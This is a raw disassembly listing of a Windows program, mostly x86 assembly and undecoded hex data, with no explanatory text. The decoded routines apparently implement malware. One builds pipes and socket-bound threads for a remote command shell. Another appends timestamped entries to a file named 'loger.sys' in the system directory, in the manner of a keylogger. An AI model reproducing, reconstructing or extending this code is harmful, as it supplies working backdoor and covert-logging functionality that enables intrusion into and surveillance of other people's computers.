0FF108F0Fh, 5E5FFFFFh dd 74C5835Bh db 0C9h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F5A proc near ; CODE XREF: seg000:00414063p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41E5D3 mov esi, eax cmp esi, edi pop ecx jnz short loc_413F7F xor eax, eax jmp loc_414052 ; --------------------------------------------------------------------------- loc_413F7F: ; CODE XREF: sub_413F5A+1Cj push ebx push edi lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] mov [esi], edi push eax lea ebx, [esi+4] mov [ebx], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ds:dword_42B0A0 ; CreatePipe test eax, eax mov edi, ds:dword_42B004 jnz short loc_413FC0 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_434DE0 jmp short loc_413FE1 ; --------------------------------------------------------------------------- loc_413FC0: ; CODE XREF: sub_413F5A+56j push 0 lea eax, [ebp+var_14] push eax push ebx lea eax, [ebp+var_4] push eax call ds:dword_42B0A0 ; CreatePipe test eax, eax jnz short loc_413FE9 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_434D9C loc_413FE1: ; CODE XREF: sub_413F5A+64j call sub_417DE4 pop ecx jmp short loc_414016 ; --------------------------------------------------------------------------- loc_413FE9: ; CODE XREF: sub_413F5A+79j push [ebp+arg_0] mov ebx, [ebp+var_8] push [ebp+var_4] call sub_413CD4 pop ecx pop ecx mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_41404B push offset unk_434D74 call sub_417D70 loc_414016: ; CODE XREF: sub_413F5A+8Dj cmp [ebp+var_4], 0 pop ecx jz short loc_414022 push [ebp+var_4] call edi ; CloseHandle loc_414022: ; CODE XREF: sub_413F5A+C1j cmp [ebp+var_8], 0 jz short loc_41402D push [ebp+var_8] call edi ; CloseHandle loc_41402D: ; CODE XREF: sub_413F5A+CCj mov eax, [esi] test eax, eax jz short loc_414036 push eax call edi ; CloseHandle loc_414036: ; CODE XREF: sub_413F5A+D7j mov eax, [esi+4] test eax, eax jz short loc_414040 push eax call edi ; CloseHandle loc_414040: ; CODE XREF: sub_413F5A+E1j push esi call sub_41E2A1 pop ecx xor eax, eax jmp short loc_414051 ; --------------------------------------------------------------------------- loc_41404B: ; CODE XREF: sub_413F5A+B0j or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_414051: ; CODE XREF: sub_413F5A+EFj pop ebx loc_414052: ; CODE XREF: sub_413F5A+20j pop edi pop esi leave retn sub_413F5A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+8] push edi call sub_413F5A imul edi, 234h mov esi, eax mov eax, ds:dword_4444F4[edi] mov edi, ds:dword_42B03C xor ebx, ebx pop ecx mov dword ptr [ebp-0Ch], 0Ch mov [ebp-8], ebx mov [ebp-4], ebx mov [esi+0Ch], eax lea eax, [ebp+8] push eax push ebx push esi push offset dword_413DA8 push ebx lea eax, [ebp-0Ch] push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_4140C5 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_434E58 call sub_417DE4 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx xor eax, eax jmp loc_4141A5 ; --------------------------------------------------------------------------- loc_4140C5: ; CODE XREF: seg000:004140A6j lea eax, [ebp+8] push eax push ebx push esi push offset aUnlMb_1 ; "Ul$ŒìÜ" push ebx lea eax, [ebp-0Ch] push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_414106 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_434E58 call sub_417DE4 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx push ebx push dword ptr [esi+14h] call ds:dword_42B028 ; TerminateThread xor eax, eax jmp loc_4141A6 ; --------------------------------------------------------------------------- loc_414106: ; CODE XREF: seg000:004140DCj mov eax, [esi+10h] mov [ebp-18h], eax mov eax, [esi+14h] mov [ebp-14h], eax mov eax, [esi+8] push 0FFFFFFFFh mov [ebp-10h], eax push ebx lea eax, [ebp-18h] push eax push 3 call ds:dword_42B0D0 ; WaitForMultipleObjects sub eax, ebx jz short loc_414160 dec eax jz short loc_41415A dec eax jz short loc_414146 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_434E20 call sub_417DE4 pop ecx pop ecx jmp short loc_414175 ; --------------------------------------------------------------------------- loc_414146: ; CODE XREF: seg000:0041412Fj mov edi, ds:dword_42B028 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_414175 ; --------------------------------------------------------------------------- loc_41415A: ; CODE XREF: seg000:0041412Cj push ebx push dword ptr [esi+10h] jmp short loc_414164 ; --------------------------------------------------------------------------- loc_414160: ; CODE XREF: seg000:00414129j push ebx push dword ptr [esi+14h] loc_414164: ; CODE XREF: seg000:0041415Ej call ds:dword_42B028 ; TerminateThread push 1 push dword ptr [esi+8] call ds:dword_42B094 ; TerminateProcess loc_414175: ; CODE XREF: seg000:00414144j ; seg000:00414158j push dword ptr [esi+10h] mov edi, ds:dword_42B004 call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call ds:dword_444218 ; closesocket push esi call sub_41E2A1 xor eax, eax inc eax loc_4141A5: ; CODE XREF: seg000:004140C0j pop ecx loc_4141A6: ; CODE XREF: seg000:00414101j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h dd 90246C8Dh, 504EC81h, 8B530000h, 57567C5Dh, 0BEFF33h dd 33000004h, 9D8941C9h, 0FFFFFF70h, 0FF6C8D89h, 0C033FFFFh dd 3978558Bh, 0FF708594h, 574FFFFh, 72C13B40h, 75C13BEFh dd 74958910h, 0C7FFFFFFh, 0FFFF6C85h, 2FFh, 858D5600h dd 0FFFFFB6Ch, 0E9E85057h, 830000A3h, 57570CC4h, 6C858D57h dd 50FFFFFFh, 0B015FF57h, 8D004441h, 0FFFF6C85h, 0FF5350FFh dd 44415C15h, 74C08500h, 8D56572Ch, 0FFFB6C85h, 0FF5350FFh dd 44406415h, 0FFF88300h, 50575F74h, 0FB6C858Dh, 0FF50FFFFh dd 15FF7875h, 4441A0h, 74FFF883h, 6C858D48h, 50FFFFFFh dd 0FF7875FFh, 44415C15h, 0FC08500h, 0FFFF5284h, 8D5657FFh dd 0FFFB6C85h, 75FF50FFh, 6415FF78h, 83004440h, 1974FFF8h dd 858D5057h, 0FFFFFB6Ch, 15FF5350h, 4441A0h, 0FFFF883h dd 0FFFF2285h, 5B5E5FFFh, 0C970C583h, 6C8D55C3h, 0EC818C24h dd 5D4h, 537C458Bh, 2C6A5756h, 8DF08B59h, 0A5F3AC7Dh, 8948758Bh dd 0F6697C75h, 234h, 8947FF33h, 0ACB8h, 0F4868B00h, 89004444h dd 0FFFAA485h, 8DDB33FFh, 53506C45h, 0A0858D53h, 50FFFFFAh dd 6C45C753h, 5, 89705D89h, 0FFFAA0BDh, 0B015FFFFh, 85004441h dd 0FF0B75C0h, 4444F4B6h, 9DE900h, 68530000h, 408h, 0FBA4858Dh dd 0FF50FFFFh, 4444F4B6h, 6415FF00h, 85004440h, 807A7EC0h dd 0FFFBA4BDh, 717504FFh, 0FBA5BD80h, 7501FFFFh, 305D3868h dd 458D7F74h, 858D5030h, 0FFFFFBACh, 0A632E850h, 0C0850000h dd 69745959h, 5030458Dh, 0FBAC858Dh, 6850FFFFh, 434F24h dd 3A6BE8h, 4006800h, 858D0000h, 0FFFFFBACh, 9D885053h dd 0FFFFFBA4h, 0FBA585C6h, 0E85DFFFFh, 0A258h, 5318C483h dd 858D086Ah, 0FFFFFBA4h, 0F4B6FF50h, 0FF004444h, 4441A015h dd 0F4B6FF00h, 0FF004444h, 44421815h, 7C75FF00h, 0FF6D84E8h dd 0FF5359FFh, 42B06815h, 8D106A00h, 50535C45h, 0A217E8h dd 858B6600h, 0FFFFFBA6h, 6A0CC483h, 45896606h, 0A8858B5Eh dd 57FFFFFBh, 0C766026Ah, 25C45h, 0FF604589h, 44410015h dd 83F88B00h, 0E75FFFFh, 41C415FFh, 68500044h, 434EE4h dd 106A1EEBh, 505C458Dh, 0AC15FF57h, 83004440h, 3875FFF8h dd 41C415FFh, 68500044h, 434EA0h, 39ABE8h, 4006800h, 858D0000h dd 0FFFFFBACh, 9D885053h, 0FFFFFBA4h, 0FBA585C6h, 0E85BFFFFh dd 0A198h, 0E914C483h, 0FFFFFF3Bh, 40068h, 0AC858D00h dd 53FFFFFBh, 0A49D8850h, 0C6FFFFFBh, 0FFFBA585h, 71E85AFFh dd 830000A1h, 6A530CC4h, 0A4858D08h, 50FFFFFBh, 44F4B6FFh dd 15FF0044h, 4441A0h, 44F4B6FFh, 0E8570044h, 0FFFFFD07h dd 0FF575959h, 44421815h, 0FEFFE900h db 2 dup(0FFh) word_4144B2 dw 8D55h ; DATA XREF: sub_40274D+29F6o dd 818C246Ch, 2D4ECh, 7C458B00h, 6A575653h, 2C6A5B10h dd 8DF08B59h, 0A5F3A07Dh, 5347FF33h, 0A8B889h, 0F6330000h dd 5660458Dh, 705D8950h, 0A107E8h, 0CC48300h, 663475FFh dd 26045C7h, 6015FF00h, 6A004442h, 26A5706h, 62458966h dd 0FF647589h, 44410015h, 8BF88B00h, 0C0693845h, 234h dd 44F4B889h, 8D530044h, 57506045h, 41E415FFh, 0C0850044h dd 114850Fh, 0A6A0000h, 3015FF57h, 85004442h, 3850FC0h dd 0FF000001h, 75FF3475h, 0DE7BE8A0h, 5059FFFEh, 0FDA0858Dh dd 8068FFFFh, 500042EBh, 0A145E8h, 10C48300h, 75447539h dd 75FF561Ah, 0A0858D40h, 50FFFFFDh, 50A4458Dh, 0E8A075FFh dd 0FFFECCBBh, 8D14C483h, 0FFFDA085h, 0E1E850FFh, 59000037h dd 5070458Dh, 5050458Dh, 0BC15FF57h, 0FF004440h, 0D88B3875h dd 5245B70Fh, 5475FF50h, 0FF4C7589h, 44418815h, 858D5000h dd 0FFFFFDA0h, 434FD868h, 0DFE85000h, 530000A0h, 0FDA0858Dh dd 196AFFFFh, 68AFE850h, 4D8BFFFFh, 3C458938h, 234C069h dd 0C4830000h, 0EC888920h, 8D004444h, 56507C45h, 50A0458Dh dd 4142A968h, 0FF565600h, 42B03C15h, 3C4D8B00h, 234C969h dd 0C63B0000h, 44FC8189h, 28750044h, 0B01C15FFh, 8D500042h dd 0FFFDA085h, 4F9868FFh, 0E8500043h, 0A07Ah, 0E90CC483h dd 0FFFFFF4Fh, 15FF056Ah, 42B014h, 744C7539h, 0FF3DE9F3h dd 0FF57FFFFh, 44421815h, 3475FF00h, 0FDA0858Dh, 6468FFFFh dd 5000434Fh, 0A045E8h, 0CC48300h, 75447539h, 75FF561Ah dd 0A0858D40h, 50FFFFFDh, 50A4458Dh, 0E8A075FFh, 0FFFECBBBh dd 8D14C483h, 0FFFDA085h, 0E1E850FFh, 0FF000036h, 0B2E83875h dd 59FFFF6Ah, 15FF5659h, 42B068h db 0CCh aUnlMb db 'Ul$Œì|',8,0 ; DATA XREF: sub_40274D+1F07o ; seg000:0040B793o align 4 dd 537C558Bh, 0DB335756h, 40C03353h, 26AF28Bh, 0A9B9h dd 0BD8D00h, 0F3FFFFFDh, 1085FFA5h, 6AFFFFFFh, 64458902h dd 89604589h, 82896C45h, 2A0h, 410015FFh, 0F08B0044h, 75FFFE83h dd 1906868h, 15FF0000h, 42B014h, 41C415FFh, 8D500044h dd 0FFF8FC85h, 509868FFh, 0E8500043h, 9F96h, 390CC483h dd 20759C5Dh, 9875FF53h, 0F8FC858Dh, 8D50FFFFh, 0FFFF1885h dd 0B5FF50FFh, 0FFFFFD00h, 0FECB06E8h, 14C483FFh, 0F8FC858Dh dd 0E850FFFFh, 362Ch, 0FF0CB5FFh, 0FAE8FFFFh, 59FFFF69h dd 3A4E9h, 8D046A00h, 6A506445h, 0FFFFBF04h, 56570000h dd 412015FFh, 46A0044h, 5060458Dh, 5657FB6Ah, 412015FFh dd 858B0044h, 0FFFFFF0Ch, 234C069h, 106A0000h, 44F4B089h dd 458D0044h, 0E8505348h, 9E58h, 0FF0CC483h, 0FFFF14B5h dd 45C766FFh, 0FF000248h, 44426015h, 45896600h, 8D106A4Ah dd 56504845h, 0FF4C5D89h, 4441E415h, 0FFF88300h, 88681975h dd 0FF000013h, 42B01415h, 108DFF00h, 0FFFFFFFFh, 2EE97C75h dd 8D000003h, 0FFFD0485h, 0B63068FFh, 0E8500042h, 9D5Eh dd 5959C33Bh, 75704589h, 190685Fh, 15FF0000h, 42B014h dd 0FD04858Dh, 8D50FFFFh, 0FFF8FC85h, 507068FFh, 0E8500043h dd 9E8Ah, 9875FF53h, 0F8FC858Dh, 8D50FFFFh, 0FFFF1885h dd 0B5FF50FFh, 0FFFFFD00h, 0FECA02E8h, 0FC858DFFh, 50FFFFF8h dd 352BE8h, 0CB5FF00h, 0E8FFFFFFh, 0FFFF68F9h, 0E928C483h dd 2A2h, 397C7D8Bh, 2A09Fh, 69840F00h, 0BF000002h, 80h dd 0A4458D57h, 45C75053h, 558h, 5C45C700h, 1388h, 0F7FCB589h dd 85C7FFFFh, 0FFFFF7F8h, 1, 9D5BE8h, 0CC48300h, 5058458Dh dd 858D5353h, 0FFFFF7F8h, 15FF5350h, 4441B0h, 8E0FC085h dd 210h, 0CF8BC033h, 0FAFC9D88h, 0BD8DFFFFh, 0FFFFFAFDh dd 0AB66ABF3h, 68458DAAh, 38458D50h, 80685350h, 8D000000h dd 5650A445h, 106845C7h, 0FF000000h, 44408815h, 3C75FF00h dd 0FF6C4589h, 44418815h, 458D5000h, 0A7E85024h, 3800009Dh dd 5959A45Dh, 1A4850Fh, 7D800000h, 850F01A5h, 0B5h, 0FE08858Dh dd 0E850FFFFh, 98A0h, 75FF5353h, 0BD8FE870h, 75FF0000h dd 858D70h, 68FFFFFBh, 200h, 8850016Ah, 0FFFAFC9Dh, 0FD85C6FFh dd 3FFFFFAh, 0FAFE9D88h, 85C6FFFFh, 0FFFFFAFFh, 997FE801h dd 0C4830000h, 6875FF20h, 51384D8Dh, 536C4589h, 5004C083h dd 0FAFC858Dh, 5650FFFFh, 40CC15FFh, 458D0044h, 858D5024h dd 0FFFFF8FCh, 43504868h, 17E85000h, 8300009Dh, 5D390CC4h dd 5320759Ch, 8D9875FFh, 0FFF8FC85h, 858D50FFh, 0FFFFFF18h dd 0B5FF50h, 0E8FFFFFDh, 0FFFEC887h, 8D14C483h, 0FFF8FC85h dd 0ADE850FFh, 59000033h, 0FBE9h, 0A57D8000h, 0DB850F04h dd 8A000000h, 0F980A74Dh, 0A6458AFFh, 0FAFC9D88h, 85C6FFFFh dd 0FFFFFAFDh, 0FE0C7503h, 88C932C0h, 0FFFAFF9Dh, 0FE08EBFFh dd 0FF8D88C1h, 88FFFFFAh, 0FFFAFE85h, 0C0B60FFFh, 0F08E0C1h dd 0C103C9B6h, 0BF09E0C1h, 200h, 50C72B53h, 0E87075FFh dd 0BC95h, 8D7075FFh, 0FFFB0085h, 16A57FFh, 98A3E850h dd 0C4830000h, 6875FF1Ch, 458DF88Bh, 8D535038h, 8D500447h dd 0FFFAFC85h, 895650FFh, 15FF6C7Dh, 4440CCh, 6875FB3Bh dd 5024458Dh, 0F8FC858Dh, 2868FFFFh, 50004350h, 9C35E8h dd 0CC48300h, 759C5D39h, 75FF5320h, 0FC858D98h, 50FFFFF8h dd 0FF18858Dh, 0FF50FFFFh, 0FFFD00B5h, 0C7A5E8FFh, 0C483FFFEh dd 0FC858D14h, 50FFFFF8h, 32CBE8h, 805FF00h, 59004D40h dd 75FF16EBh, 38458D68h, 96A5350h, 43501C68h, 15FF5600h dd 4440CCh, 0F6C5D39h, 0FFFD8B8Fh, 7C7D8BFFh, 1815FF56h dd 0FF004442h, 6CE87075h, 0FF000097h, 0FFFF108Dh, 0A09F39FFh dd 59000002h, 0B5FF1375h, 0FFFFFF0Ch, 0FF6650E8h, 0FF5359FFh dd 42B06815h, 3E86800h, 15FF0000h, 42B014h, 0FB8FE857h dd 5E5FFFFFh, 74C5835Bh, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h push esi lea eax, [ebp-10h] push eax call ds:dword_42B0D4 ; GetLocalTime push 104h lea eax, [ebp-114h] push eax call ds:dword_42B010 ; GetSystemDirectoryA lea eax, [ebp-114h] push offset asc_433144 ; "\\" push eax call sub_41EED0 lea eax, [ebp-114h] push offset aLoger_sys ; "loger.sys" push eax call sub_41EED0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41E54E mov esi, eax add esp, 18h test esi, esi jnz short loc_414B81 inc eax jmp short loc_414BF8 ; --------------------------------------------------------------------------- loc_414B81: ; CODE XREF: seg000:00414B7Cj push dword ptr [ebp+8] movzx eax, word ptr [ebp-4] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41ECA2 push esi call sub_41E24B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_414BF6 push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_4350D0 push 200h push eax call sub_41E6FE push 0 push dword ptr [ebp+94h] lea eax, [ebp-314h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_40123B add esp, 24h loc_414BF6: ; CODE XREF: seg000:00414BBDj xor eax, eax loc_414BF8: ; CODE XREF: seg000:00414B7Fj pop esi leave retn ; --------------------------------------------------------------------------- aUnlMb_0 db 'Ul$ŒìÜ',8,0 ; DATA XREF: sub_40274D+4202o align 2 dw 458Bh dd 98A5837Ch, 0FFFFF7h, 706583h, 6A575653h, 59F08B25h dd 0F3987D8Dh, 9080C7A5h, 1000000h, 33000000h, 0FFB9C0h dd 0BD8D0000h, 0FFFFF79Ch, 15FFABF3h, 4440C0h, 4D8D3C6Ah dd 8950512Ch, 15FF6C45h, 4440B0h, 200BBh, 0FF086A00h, 42B01415h dd 0C015FF00h, 3B004440h, 72746C45h, 4D8D3C6Ah, 8950512Ch dd 15FF6C45h, 4440B0h, 502C458Dh, 0FD98858Dh, 8D50FFFFh dd 0FFFB9885h, 512C68FFh, 0E8500043h, 9A12h, 84EC81h, 256A0000h dd 98858D59h, 8BFFFFFBh, 98758DFCh, 0E8A5F350h, 0FFFFFE6Ch dd 70458953h, 0FD98858Dh, 6AFFFFh, 992EE850h, 0C4810000h dd 0A4h, 98858D53h, 6AFFFFFBh, 19E85000h, 83000099h, 45C70CC4h dd 441ACC7Ch, 0FF106A00h, 44422C15h, 0F0BF0F00h, 8B7C458Bh dd 0FF57FC78h, 4440A015h, 79E48400h, 0FF146A7Bh, 44422C15h dd 0C0856600h, 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h dd 0BD84C710h, 0FFFFF798h, 1, 174E9h, 0FF146A00h, 44422C15h dd 0C0856600h, 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh dd 98BD84C7h, 2FFFFF7h, 0E9000000h, 149h, 107DF685h, 98BD84C7h dd 3FFFFF7h, 0E9000000h, 135h, 98BD84C7h, 4FFFFF7h, 0E9000000h dd 125h, 98BD848Dh, 8BFFFFF7h, 0FF68530h, 11484h, 208300h dd 0FD98858Dh, 0E850FFFFh, 9428h, 5908FF83h, 8D8D1075h dd 0FFFFFD98h, 804C649h, 0EFE900h, 0B93D0000h, 76000001h dd 0C015FF25h, 6A004440h, 2C4D8D3Ch, 15FF5051h, 4440B0h dd 502C458Dh, 0FD98858Dh, 6850FFFFh, 435114h, 0FF8341EBh dd 8C850F0Dh, 8D000000h, 0FFFD9885h, 0D1E850FFh, 85000093h dd 840F59C0h, 0A5h, 40C015FFh, 3C6A0044h, 512C4D8Dh, 0B015FF50h dd 8D004440h, 8D502C45h, 0FFFD9885h, 6850FFh, 8D004351h dd 0FFFB9885h, 7FE850FFh, 81000098h, 84ECh, 59256A00h dd 0FB98858Dh, 0FC8BFFFFh, 5098758Dh, 0D9E8A5F3h, 53FFFFFCh dd 8D704589h, 0FFFD9885h, 50006AFFh, 979BE8h, 0A4C48100h dd 53000000h, 0FB98858Dh, 6AFFFFh, 9786E850h, 0C4830000h dd 832EEB0Ch, 147401FEh, 7403FE83h, 2FE830Fh, 0FE830574h dd 0FF1A7504h, 7EB7C75h, 837C458Bh, 8D5007C0h, 0FFFD9885h dd 35E850FFh, 590000A0h, 7C458359h, 7C7D8114h, 4421FCh dd 0FE338C0Fh, 7D83FFFFh, 840F0070h, 0FFFFFD9Dh, 0E89C75FFh dd 0FFFF6289h, 0FF006A59h, 42B06815h db 0, 0CCh word_414ECA dw 0B855h ; DATA XREF: sub_40274D+3E38o dd 102B4h, 8C246C8Dh, 9B47E8h, 7C558B00h, 6A575653h, 0C0335925h dd 8DF28B40h, 0A5F3C07Dh, 4589106Ah, 9082896Ch, 33000000h dd 58458DF6h, 0EDE85056h, 83000096h, 66560CC4h, 25845C7h dd 6015FF00h, 0FF004442h, 8966C075h, 0AAE85A45h, 59FFFED4h dd 7C15FF50h, 56004441h, 26A036Ah, 0FF5C4589h, 44410015h dd 83D88B00h, 5D89FFFBh, 0FF547570h, 4441C415h, 858D5000h dd 0FFFFFDC0h, 43523468h, 4FE85000h, 83000097h, 75390CC4h dd 561A754Ch, 8D4875FFh, 0FFFDC085h, 458D50FFh, 75FF50C4h dd 0C2C5E8C0h, 0C483FFFEh, 0C0858D14h, 50FFFFFDh, 2DEBE8h dd 4475FF00h, 0FF61BCE8h, 2E959FFh, 8B000002h, 0C0694445h dd 234h, 44F49889h, 106A0044h, 5058458Dh, 0E415FF53h, 83004441h dd 2975FFF8h, 41C415FFh, 68500044h, 435208h, 0FDC0858Dh dd 0E850FFFFh, 96DAh, 390CC483h, 850F4C75h, 1A1h, 182E9h dd 8D565600h, 56505445h, 8D046A56h, 68506C45h, 98000001h dd 0E015FF53h, 83004441h, 0E75FFF8h, 41C415FFh, 68500044h dd 4351D8h, 0FFBFB6EBh, 0E90000FFh, 0FCh, 0FDC9BD80h, 0F06FFFEh dd 0EF85h, 0E1BD8000h, 18FFFEFDh, 0FDCC858Bh, 4589FFFEh dd 0D9850F68h, 8D000000h, 0FEFDE885h, 51CC68FFh, 0E8500043h dd 0A048h, 5959C085h, 0BE850Fh, 858D0000h, 0FFFEFDE8h dd 4351BC68h, 2DE85000h, 850000A0h, 0F5959C0h, 0A385h dd 2248B800h, 0DB330044h, 507C4589h, 0FDE8858Dh, 0E850FFFEh dd 0A00Ch, 5959C085h, 83430C75h, 8B187C45h, 0E3757C45h dd 858D77EBh, 0FFFEFDE8h, 0D4B5FF50h, 0FFFFFEFDh, 44420015h dd 0C0B70F00h, 6875FF50h, 418815FFh, 8D500044h, 48B5B04h dd 44225CC5h, 8534FF00h, 442238h, 0FDC0858Dh, 8868FFFFh dd 68004351h, 200h, 9620E850h, 0C4830000h, 4C75391Ch, 0FF561A75h dd 858D4875h, 0FFFFFDC0h, 0C4458D50h, 0C075FF50h, 0FEC13EE8h dd 14C483FFh, 0FDC0858Dh, 0E850FFFFh, 2C64h, 705D8B59h dd 0C0858D57h, 56FFFEFDh, 94D2E850h, 0C4830000h, 8D57560Ch dd 0FEFDC085h, 0FF5350FFh, 44406415h, 0FFF88300h, 0FEDA850Fh dd 15FFFFFFh, 4441C4h, 515C6850h, 858D0043h, 0FFFFFDC0h dd 20068h, 0A7E85000h, 83000095h, 753910C4h, 561A754Ch dd 8D4875FFh, 0FFFDC085h, 458D50FFh, 75FF50C4h, 0C0C5E8C0h dd 0C483FFFEh, 0C0858D14h, 50FFFFFDh, 2BEBE8h, 0FF535900h dd 44421815h, 4475FF00h, 0FF5FB4E8h, 0FF5659FFh, 42B06815h dd 8B56CC00h, 68082474h, 4352D8h, 9EE2E856h, 0C0850000h dd 4745959h, 0C35EC032h, 43C0C868h, 0CDE85600h, 8500009Eh dd 755959C0h, 52CC68EBh, 0E8560043h, 9EBCh, 5959C085h dd 0C068DA75h, 56004352h, 9EABE8h, 59C08500h, 68C97559h dd 4352B8h, 9E9AE856h, 0C0850000h, 4745959h, 0C35E01B0h dd 4352B068h, 85E85600h, 8500009Eh, 755959C0h, 52A868EBh dd 0E8560043h, 9E74h, 5959C085h, 0A068DA75h, 56004352h dd 9E63E8h, 59C08500h, 68C97559h, 435298h, 9E52E856h, 0C0850000h dd 0B8755959h, 43529068h, 41E85600h, 8500009Eh, 755959C0h dd 528868A7h, 0E8560043h, 9E30h, 5959C085h, 80689675h dd 56004352h, 9E1FE8h, 59C08500h, 68857559h, 435278h, 9E0EE856h dd 0C0850000h, 850F5959h, 0FFFFFF70h, 43526C68h, 0F9E85600h dd 8500009Dh, 0F5959C0h, 0FFFF5B85h, 526068FFh, 0E8560043h dd 9DE4h, 0C0855959h, 5EC0950Fh, 748B56C3h, 18680824h dd 56004353h, 9DCBE8h, 59C08500h, 32047459h, 68C35EC0h dd 43C0C8h, 9DB6E856h, 0C0850000h, 0EB755959h, 43531068h dd 0A5E85600h, 8500009Dh, 745959C0h, 5E01B004h, 530868C3h dd 0E8560043h, 9D90h, 5959C085h, 68EB75h, 56004353h, 9D7FE8h dd 59C08500h, 68DA7559h, 4352E4h, 9D6EE856h, 59590000h dd 950FC085h, 56C35EC0h, 824748Bh, 43534468h, 55E85600h dd 8500009Dh, 745959C0h, 5EC03204h, 0C0C868C3h, 0E8560043h dd 9D40h, 5959C085h, 868EB75h, 56004353h, 9D2FE8h, 59C08500h dd 68DA7559h, 43533Ch, 9D1EE856h, 0C0850000h, 4745959h dd 0C35E01B0h, 43533468h, 9E85600h, 8500009Dh, 755959C0h dd 532C68EBh, 0E8560043h, 9CF8h, 5959C085h, 2468DA75h dd 56004353h, 9CE7E8h, 85595900h, 0C0950FC0h, 8B56C35Eh dd 68082474h, 435384h, 9CCEE856h, 0C0850000h, 4745959h dd 0C35EC032h, 43C0C868h, 0B9E85600h, 8500009Ch, 755959C0h dd 537C68EBh, 0E8560043h, 9CA8h, 5959C085h, 1B00474h, 7468C35Eh dd 56004353h, 9C93E8h, 59C08500h, 68EB7559h, 435368h, 9C82E856h dd 0C0850000h, 0DA755959h, 43535C68h, 71E85600h, 8500009Ch dd 755959C0h, 535068C9h, 0E8560043h, 9C60h, 0C0855959h dd 5EC0950Fh, 748B56C3h, 0C0680824h, 56004353h, 9C47E8h dd 59C08500h, 32047459h, 68C35EC0h, 43C0C8h, 9C32E856h dd 0C0850000h, 0EB755959h, 4353B068h, 21E85600h, 8500009Ch dd 745959C0h, 5E01B004h, 539C68C3h, 0E8560043h, 9C0Ch dd 5959C085h, 9068EB75h, 56004353h, 9BFBE8h, 85595900h dd 0C0950FC0h db 5Eh, 0C3h word_41549E dw 0B855h ; DATA XREF: sub_40274D+3F80o dd 113B8h, 8C246C8Dh, 9573E8h, 7C458B00h, 6A575653h, 0F08B5925h dd 0F3BC7D8Dh, 6AF633A5h, 0B089463Fh, 90h, 3359DB33h, 0BC9D88C0h dd 8DFFFFFCh, 0FFFCBDBDh, 66ABF3FFh, 0FF68ABh, 858D0000h dd 0FFFFFCBCh, 45C76650h, 66000254h, 89565D89h, 15FF585Dh dd 444220h, 0FCBC858Dh, 0FF50FFFFh, 44416815h, 48BF0F00h dd 0C408B0Ah, 8D30FF51h, 0E8506C45h, 9EE4h, 836C458Bh dd 6A530CC4h, 89026A03h, 15FF5845h, 444100h, 0FF83F88Bh dd 647D89FFh, 5E5F0C75h, 835BC033h, 0C2C974C5h, 106A0004h dd 5054458Dh, 0E415FF57h, 83004441h, 2275FFF8h, 41C415FFh dd 8D500044h, 0FFFDBC85h, 550868FFh, 0E8500043h, 9136h dd 390CC483h, 5E75485Dh, 535342EBh, 5050458Dh, 46A5353h dd 5068458Dh, 168h, 75895798h, 0E015FF68h, 83004441h, 5E75FFF8h dd 41C415FFh, 8D500044h, 0FFFDBC85h, 54D868FFh, 0E8500043h dd 90F2h, 390CC483h, 1A75485Dh, 4475FF53h, 0FDBC858Dh dd 8D50FFFFh, 0FF50C045h, 68E8BC75h, 83FFFEBCh, 858D14C4h dd 0FFFFFDBCh, 278EE850h, 57590000h, 421815FFh, 75FF0044h dd 5B57E840h, 5359FFFFh, 0B06815FFh, 0BE0042h, 0BF000002h dd 0FFFFh, 0BC858D57h, 53FFFEECh, 8FDEE850h, 0C4830000h dd 8D57530Ch, 0FEECBC85h, 75FF50FFh, 6415FF64h, 80004440h dd 0FEECC5BDh, 0CF7506FFh, 0ECD0B5FFh, 15FFFFFEh, 42B1D8h dd 0ECD2B5FFh, 0B70FFFFEh, 0D815FFF8h, 830042B1h, 0B70F6EFFh dd 7C4589C0h, 0FF83A974h, 83A47419h, 9F746EF8h, 7419F883h dd 0C8858B9Ah, 50FFFEECh, 4D5270A3h, 0DC15FF00h, 500042B1h dd 0ECBC858Dh, 4068FFFFh, 500042B6h, 901DE8h, 0CC858B00h dd 83FFFEECh, 0A3500CC4h, 